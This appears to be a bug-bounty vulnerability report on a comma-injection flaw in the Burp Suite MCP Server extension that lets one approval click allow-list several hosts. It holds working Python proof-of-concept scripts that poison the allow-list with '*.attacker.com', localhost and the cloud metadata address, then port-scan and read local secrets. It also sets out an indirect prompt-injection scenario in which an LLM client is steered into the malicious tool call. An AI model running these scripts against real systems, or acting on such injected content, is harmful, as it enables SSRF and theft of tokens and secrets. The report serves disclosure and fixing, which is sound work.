PortSwigger Web Security · Report #3717354
UI Consent Bypass via Comma Injection in `addAutoApproveTarget` — User-Approval Dialog and Persistence Layer Disagree on Target Scope, Yielding Authen
How it was found
Summary
Burp Suite MCP Server BApp v1.2.1 fails to validate hostnames passed to addAutoApproveTarget (McpConfig.kt:52). A single user click on the per-request approval dialog persists an attacker-controlled comma-separated hostname as multiple independent allow-list entries, because _autoApproveTargets is stored as a comma-joined string and getAutoApproveTargetsList re-splits on , (McpConfig.kt:73).
A malicious MCP client — or an LLM operating on attacker-controlled content via indirect prompt injection (the canonical MCP threat model) — can poison the auto-approve list with one click, then silently SSRF to localhost services, internal hosts, cloud metadata, and arbitrary wildcard subdomain trees without any further interaction. This regresses the protection model that motivated report #3176157
Threat Model
Canonical MCP indirect prompt injection. An LLM (Claude Desktop, Cursor, Cline, etc.) connected to Burp's MCP server reads attacker-influenced content (web page, document, ticket, search result) and constructs a send_http1_request tool call with an attacker-chosen targetHostname. The user sees one approval dialog, clicks Always Allow Host trusting the leading legitimate-looking domain, and that single click persists multiple silent allow-rules the inverse of the user's intent.
Root Cause
Sink 1 — Storage accepts unvalidated multi-host string
src/main/kotlin/net/portswigger/mcp/config/McpConfig.kt, lines 52–60:
fun addAutoApproveTarget(target: String): Boolean {
val currentTargets = getAutoApproveTargetsList()
if (target.trim().isNotEmpty() && !currentTargets.contains(target.trim())) {
val newTargets = currentTargets + target.trim()
autoApproveTargets = newTargets.joinToString(",")
return true
}
return false
}
TargetValidation.isValidTarget exists in the codebase but is never invoked here. Only emptiness and duplication are checked.
Sink 2 — Reader splits on the same delimiter used to write
src/main/kotlin/net/portswigger/mcp/config/McpConfig.kt, lines 73–79:
fun getAutoApproveTargetsList(): List<String> {
return if (_autoApproveTargets.isBlank()) emptyList()
else _autoApproveTargets.split(",").map { it.trim() }.filter { it.isNotEmpty() }
}
One write of "a,b,c" becomes three independent entries on read.
Sink 3 — Attacker-controlled hostname passed straight from JSON-RPC to persistence
src/main/kotlin/net/portswigger/mcp/security/HttpRequestSecurity.kt, lines 44, 49:
1 -> { config.addAutoApproveTarget(hostname); continuation.resume(true) }
2 -> { config.addAutoApproveTarget("$hostname:$port"); continuation.resume(true) }
hostname originates from the targetHostname JSON-RPC parameter of the send_http1_request (and related) MCP tools — fully attacker-controlled.
Sink 4 — Dialog renders payload verbatim, masking what gets persisted
src/main/kotlin/net/portswigger/mcp/config/Dialogs.kt, showOptionDialog:
The approval dialog renders Target: $hostname:$port in a JTextArea with no escaping or splitting. A comma-laden hostname displays on a single line beginning with the leading domain, which a user reasonably reads as the target. This is the misrepresentation that makes CWE-451 apply: what the user authorizes = what the system persists.
Reproduction
Tested against running BApp v1.2.1 on Kali Linux
Pre-conditions
- Burp MCP Server BApp v1.2.1 installed and enabled (Burp → MCP tab → Enabled)
- "Require approval for HTTP requests" checked (default state on fresh install)
- Auto-Approved HTTP Targets list cleared (Burp → MCP tab → Auto-Approved HTTP Targets → "Clear All")
Setup victim service for file-read demonstration
mkdir -p /tmp/internal && echo "INTERNAL_API_KEY=sk_live_abc123_DO_NOT_LEAK" > /tmp/internal/secret.txt
cd /tmp/internal && python3 -m http.server 8123 &
Step 1 — Poison the auto-approve list with one tool call
python3 - << 'EOF'
import asyncio
from mcp.client.sse import sse_client
from mcp import ClientSession
async def main():
async with sse_client("http://127.0.0.1:9876/") as (r, w):
async with ClientSession(r, w) as s:
await s.initialize()
await s.call_tool("send_http1_request", {
"content": "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
"targetHostname": "example.com,127.0.0.1,*.attacker.com,169.254.169.254",
"targetPort": 443,
"usesHttps": True,
})
asyncio.run(main())
EOF
The Burp approval dialog appears showing:
An MCP client is requesting to send an HTTP request to:
Target: example.com,127.0.0.1,*.attacker.com,169.254.169.254:443
{F5866201}
Click Always Allow Host
Step 2 — Verify list poisoning (consent ≠ persistence)
Burp → MCP tab → Auto-Approved HTTP Targets now contains four independent entries:
example.com127.0.0.1*.attacker.com169.254.169.254
The user authorized one target string; the system persisted four. This is the consent bypass. {F5866214}
Step 3 — SSRF without further approval
python3 - << 'EOF' | tee /tmp/mcp-poc/ssrf_output.txt
import asyncio
from mcp.client.sse import sse_client
from mcp import ClientSession
async def call(host, port, path, https=False):
async with sse_client("http://127.0.0.1:9876/") as (r, w):
async with ClientSession(r, w) as s:
await s.initialize()
res = await s.call_tool("send_http1_request", {
"content": f"GET {path} HTTP/1.1\r\nHost: {host}\r\n\r\n",
"targetHostname": host, "targetPort": port, "usesHttps": https,
})
txt = res.content[0].text if res.content else "(empty)"
print(f"[{host}:{port}{path}] -> {txt[:300]}")
print("---")
async def main():
await call("127.0.0.1", 8123, "/secret.txt")
await call("evil.attacker.com", 443, "/", True)
for p in [22, 80, 443, 3306, 5432, 6379, 8080, 9200, 27017]:
await call("127.0.0.1", p, "/")
asyncio.run(main())
EOF
results
Impact
Local file read: /tmp/internal/secret.txt contents exfiltrated via 127.0.0.1:8123 (maps directly to "A website accessed through Burp Suite can retrieve local files from the user's system" — Medium per policy)
Localhost service fingerprinting: Burp Pro admin interface identified at 127.0.0.1:8080, OpenSSH version banner at 127.0.0.1:22
Localhost port enumeration: 9 ports probed silently in a single script (22, 80, 443, 3306, 5432, 6379, 8080, 9200, 27017)
Wildcard subdomain SSRF: evil.attacker.com matches the injected *.attacker.com entry Cloud metadata reachable: 169.254.169.254 callable without prompt (relevant on cloud-hosted Burp)
HTTP history exfiltration (after one separate consent click on get_proxy_http_history): full request/response pairs from prior browsing. Real test against authenticated sessions returned long-lived Google OAuth refresh tokens, OAuth client_secret values, Google API keys, and HackerOne __Host-session / cf_clearance / X-Csrf-Token. Maps directly to "A website accessed through Burp Suite can extract cross-domain data from Burp's sitemap" — Medium per policy.